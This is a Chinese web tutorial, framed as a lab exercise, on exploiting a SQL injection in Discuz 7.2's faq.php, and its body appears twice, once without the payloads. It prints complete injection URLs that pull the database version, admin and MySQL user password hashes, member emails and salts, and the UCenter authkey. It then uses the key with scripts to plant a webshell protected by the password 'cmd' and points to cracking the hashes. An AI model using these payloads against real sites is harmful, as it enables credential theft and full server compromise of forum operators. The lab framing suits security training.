您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程
Discuz 7.2版本SQL注入漏洞
南春2025-07-15Discuz教程已有人查阅
导读实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!Discuz 7.2 版本SQL注入漏洞的利用
实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!
Discuz 7.2 版本SQL注入漏洞的利用
本教程仅供网站进行渗透测试,请勿用于非法途径!!造成任何危害,均由个人负全责!!
实验目的
通过本实验理解SQL注入基本原理由于过程,掌握菜刀和Havij等注入工具的使用方法,了解SQL注入的危害。通过本实验,掌握SQL注入点识别方法、测试方法、自动化工具使用方法以及进行防御的基本方法。
实验环境
测试渗透机:win2k8Tester
用户名: college或test密码: 360College
工具:Firefox或chrome浏览器
目标靶机:Discuz7网站
用户名: college密码: 360College
目标网站:http://IP:8082
软件环境:phpstudy、Discuz7.2
实验原理
作为一种SQL注入攻击,其核心思想就是在组合的SQL查询语句中,插入构造的特殊语句,从而实现特定的目的。其关键是对目标的漏洞发现、分析和针对漏洞构造特殊的SQL语句,入侵的方式是非常巧妙的。
实验步骤
第一步 启动靶机服务器
以用户名college或test密码360College登录目标靶机。
然后启动其中的phpstudy,并点击界面中的启动,出现mysql和apache为两个绿色圆点,表示服务启动成功。
启动phpstudy(桌面图标):
如果,显示不是两个绿色标志,则等待一会,按下重启按钮,再次尝试。
第二步 渗透平台上的漏洞利用
1.登录渗透平台,访问靶机网站
访问靶机。http://IP:8082 (注意根据查看到的靶机IP地址,修改此处的IP,端口不变,以下截图中,均应将端口修改为8082)。
2.浏览网页
点击其中的链接,如果地址栏出现http://***/xx.php?id=XX,则表明目标网站,采用PHP语言开发。
3.手工SQL注入
(1)获取数据库版本信息
可以看到,mysql数据库版本为:5.5.401.
(2)获取管理员账户密码
获得的密文值,要去掉之后的1。 例如: Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key' 密文就是f426eaa50a5c805d360ca4046419c6ba。
(3)获取数据库用户名和密码
(5)获取uc_key
这里需要注意 由于authkey的长度限制,较大可取62个长度单位,所以采用两次获取的方法,先获取前32位,再获取后32位.
两次查询出错,返回key的相应值。
利用dz72-faq-exp.php脚本(在操作机Tools/PHP运行环境目录下),可进行get-shell,需要修改网站目标和UC_KEY的值。
$host="http://IP:8082"; //此处只能指定到网站根目录。如果网站在根目录下有文件夹,则需要修改脚本中的路径变量值。
$uc_key="x xxxxxx xxxxxx xxxxxx xxxxxx xxxxxx xx"
放在php.exe的环境里直接getshell. 运行:php.exe dz72-faq-exp.php 成功会显示。
一句话的地址是http://IP:8082/config.inc.php密码cmd。
上面获取shell的步骤有点麻烦,首先要通过注入语句获取uc_key,然后利用uc_key获取webshell。 可利用auto-get-shell.py脚本自动完成上面步骤来获取webshell。
使用方法: python auto-get-shell.py http://IP:8082 N N:为需要获取的用户信息数量。
首先取N=1,如果能正常运行,再增大。如果N大于实际用户数,报错,但是不影响运行结果。
如果出错,利用打开auto-get-shell.py,删除其中的”/Discuz72”,后保存,再运行。 即可得到用户名和密码散列值,剩下的就是去cmd5查询密码了。
思考与总结
通过本实验,体验到了网站渗透的危害和一种思路过程。也提醒网站运维人员,必须加强安全意识,一个漏洞就可能让网站失控。
Discuz 7.2 版本SQL注入漏洞的利用
本教程仅供网站进行渗透测试,请勿用于非法途径!!造成任何危害,均由个人负全责!!
实验目的
通过本实验理解SQL注入基本原理由于过程,掌握菜刀和Havij等注入工具的使用方法,了解SQL注入的危害。通过本实验,掌握SQL注入点识别方法、测试方法、自动化工具使用方法以及进行防御的基本方法。
实验环境
测试渗透机:win2k8Tester
用户名: college或test密码: 360College
工具:Firefox或chrome浏览器
目标靶机:Discuz7网站
用户名: college密码: 360College
目标网站:http://IP:8082
软件环境:phpstudy、Discuz7.2
实验原理
作为一种SQL注入攻击,其核心思想就是在组合的SQL查询语句中,插入构造的特殊语句,从而实现特定的目的。其关键是对目标的漏洞发现、分析和针对漏洞构造特殊的SQL语句,入侵的方式是非常巧妙的。
实验步骤
第一步 启动靶机服务器
以用户名college或test密码360College登录目标靶机。
然后启动其中的phpstudy,并点击界面中的启动,出现mysql和apache为两个绿色圆点,表示服务启动成功。
启动phpstudy(桌面图标):
如果,显示不是两个绿色标志,则等待一会,按下重启按钮,再次尝试。
第二步 渗透平台上的漏洞利用
1.登录渗透平台,访问靶机网站
访问靶机。http://IP:8082 (注意根据查看到的靶机IP地址,修改此处的IP,端口不变,以下截图中,均应将端口修改为8082)。
2.浏览网页
点击其中的链接,如果地址栏出现http://***/xx.php?id=XX,则表明目标网站,采用PHP语言开发。
3.手工SQL注入
(1)获取数据库版本信息
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23
输出如下:可以看到,mysql数据库版本为:5.5.401.
(2)获取管理员账户密码
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
要去掉之后的1获得的密文值,要去掉之后的1。 例如: Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key' 密文就是f426eaa50a5c805d360ca4046419c6ba。
(3)获取数据库用户名和密码
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(user,0x3a,password,0x3a) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
(4)获取用户名、email、密码和salt信息
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques) from uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
说明:如果获取失败,则将uc_members替换为ucenter.uc_members,再次尝试。(5)获取uc_key
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,32) from uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,33,32) from uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
如果上述语句执行出错,则:利用 ucenter.uc_applications 替代uc_applications即可.这里需要注意 由于authkey的长度限制,较大可取62个长度单位,所以采用两次获取的方法,先获取前32位,再获取后32位.
两次查询出错,返回key的相应值。
Error: Duplicate entry '1:n6Q8Ha78l0K1m3n8ddT5cdk6uba3g7yc:' for key 'group_key' Error: Duplicate entry '1:b7U8ocxcX7O8b5D56dd358sdLew363s7:' for key 'group_key'
对返回的key进行合并,得到之后key :
n6Q8Ha78l0K1m3n8ddT5cdk6uba3g7yc b7U8ocxcX7O8b5D56dd358sdLew363s7
(6)利用UC_KEY来getshell利用dz72-faq-exp.php脚本(在操作机Tools/PHP运行环境目录下),可进行get-shell,需要修改网站目标和UC_KEY的值。
$host="http://IP:8082"; //此处只能指定到网站根目录。如果网站在根目录下有文件夹,则需要修改脚本中的路径变量值。
$uc_key="x xxxxxx xxxxxx xxxxxx xxxxxx xxxxxx xx"
放在php.exe的环境里直接getshell. 运行:php.exe dz72-faq-exp.php 成功会显示。
一句话的地址是http://IP:8082/config.inc.php密码cmd。
上面获取shell的步骤有点麻烦,首先要通过注入语句获取uc_key,然后利用uc_key获取webshell。 可利用auto-get-shell.py脚本自动完成上面步骤来获取webshell。
使用方法: python auto-get-shell.py http://IP:8082 N N:为需要获取的用户信息数量。
首先取N=1,如果能正常运行,再增大。如果N大于实际用户数,报错,但是不影响运行结果。
如果出错,利用打开auto-get-shell.py,删除其中的”/Discuz72”,后保存,再运行。 即可得到用户名和密码散列值,剩下的就是去cmd5查询密码了。
思考与总结
通过本实验,体验到了网站渗透的危害和一种思路过程。也提醒网站运维人员,必须加强安全意识,一个漏洞就可能让网站失控。
本文标签:
很赞哦! ()
上一篇:discuz怎么防止恶意注册
相关教程
- Discuz<7.2 SQL注入漏洞分析
- discuz的php防止sql注入函数
- Discuz<= 7.2 SQL注入漏洞分析
- discuz防止sql注入的方法
- phpcms的/preview.phpSQL注入漏洞修复方法
- phpcms v9.6.0 sql注入漏洞分析
- PHPCMS V9.6.0 SQL注入漏洞EXP使用方法
- PHPCMSv9.6.0wap模块SQL注入漏洞修复方法
- PHPCMS提示\phpcms\modules\member\index.php用户登陆SQL注入漏
- PHPCMSV9.6.0SQL注入漏洞分析修复方法示例
- ecshop常见sql注入漏洞修复
- ecshop的sql注入漏洞修复方法实例
图文教程
php使用curl模拟登录discuz以及模拟发帖的实现方法
//取到了关键的cookie文件就可以带着cookie文件去模拟发帖,fid为论坛的栏目ID
Discuz! X3数据字典检索查询
pre_common_admincp_cmenu 后台菜单收藏表pre_common_admincp_member 后台管理成员pre_common_admincp_perm 后台权限表pre_common_admincp_session 后台session表
discuz抱歉该附件无法读取的解决方法
最近升级了x2.0的补丁,发现普通用户在下载附件的时候会出现‘抱歉,该附件无法读取’的提示,但下载分已经扣了 搞得大家非常不满。但管理员之类的不扣下载分的是可以下载的。
Discuz微信小程序界面与交互效果设计
设计discuz!的微信小程序界面与交互效果的关键步骤包括:1) 利用自定义组件构建简洁直观的界面,如可折叠的帖子列表;2) 通过触摸事件和动画api实现流畅的交互,如滑动删除功能;
相关源码
-
自适应电子科技类产品公司pbootcms网站模板基于PbootCMS内核开发,为电子科技类企业设计,适用于电子产品展示、企业官网等场景。该模板采用开源架构,用户可自由访问和修改源码,灵活适配各类行业需求,无需二次开发成本查看源码 -
(PC+手机)帝国cms7.5漫画图片连载网站源码免费下载本模板基于帝国CMS7.5深度开发,为漫画阅读类网站打造。整体设计风格贴合漫画行业特性,界面布局充分考虑漫画作品的展示需求,支持多种漫画阅读模式。模板采用响应式设计,能够自动适配PC端和移动端设备,为读者提供流畅的阅读体验。查看源码 -
(自适应)调节阀门气动球阀控制阀网站模板源码下载为调节阀门、气动球阀等工业设备企业打造的响应式网站模板,基于PbootCMS系统开发。突出产品参数展示与技术文档管理功能,通过专业化的布局设计有效呈现工业设备特性,适配各类终端访问需求。查看源码 -
(自适应)建站广告公司工作室作品展示品牌策划设计pbootcms源码下载基于PbootCMS开发的创意服务展示系统,内置作品集展示、服务流程图等专业模块,预设客户案例、设计流程等创意行业专属栏目结构。查看源码 -
(自适应)html5中英双语通用机械设备pbootcms模板下载本模板基于PbootCMS内核精心开发,为机械设备制造企业量身打造。设计风格大气稳重,充分展现机械行业的专业特质与技术实力。采用HTML5技术构建,支持中英文双语切换,满足国际化业务需求。整站布局合理,充分展示企业产品、案例与服务,帮助访客快速了解企业核心优势。查看源码 -
手机软件APP游戏软件下载网站Pbootcms模板(自适应)基于PbootCMS内核深度开发的网站模板,为移动互联网时代打造。无论是手机APP推广、游戏软件展示,还是各类企业官网需求,本模板都能通过简单的图文替换实现行业无缝切换查看源码
| 分享笔记 (共有 篇笔记) |
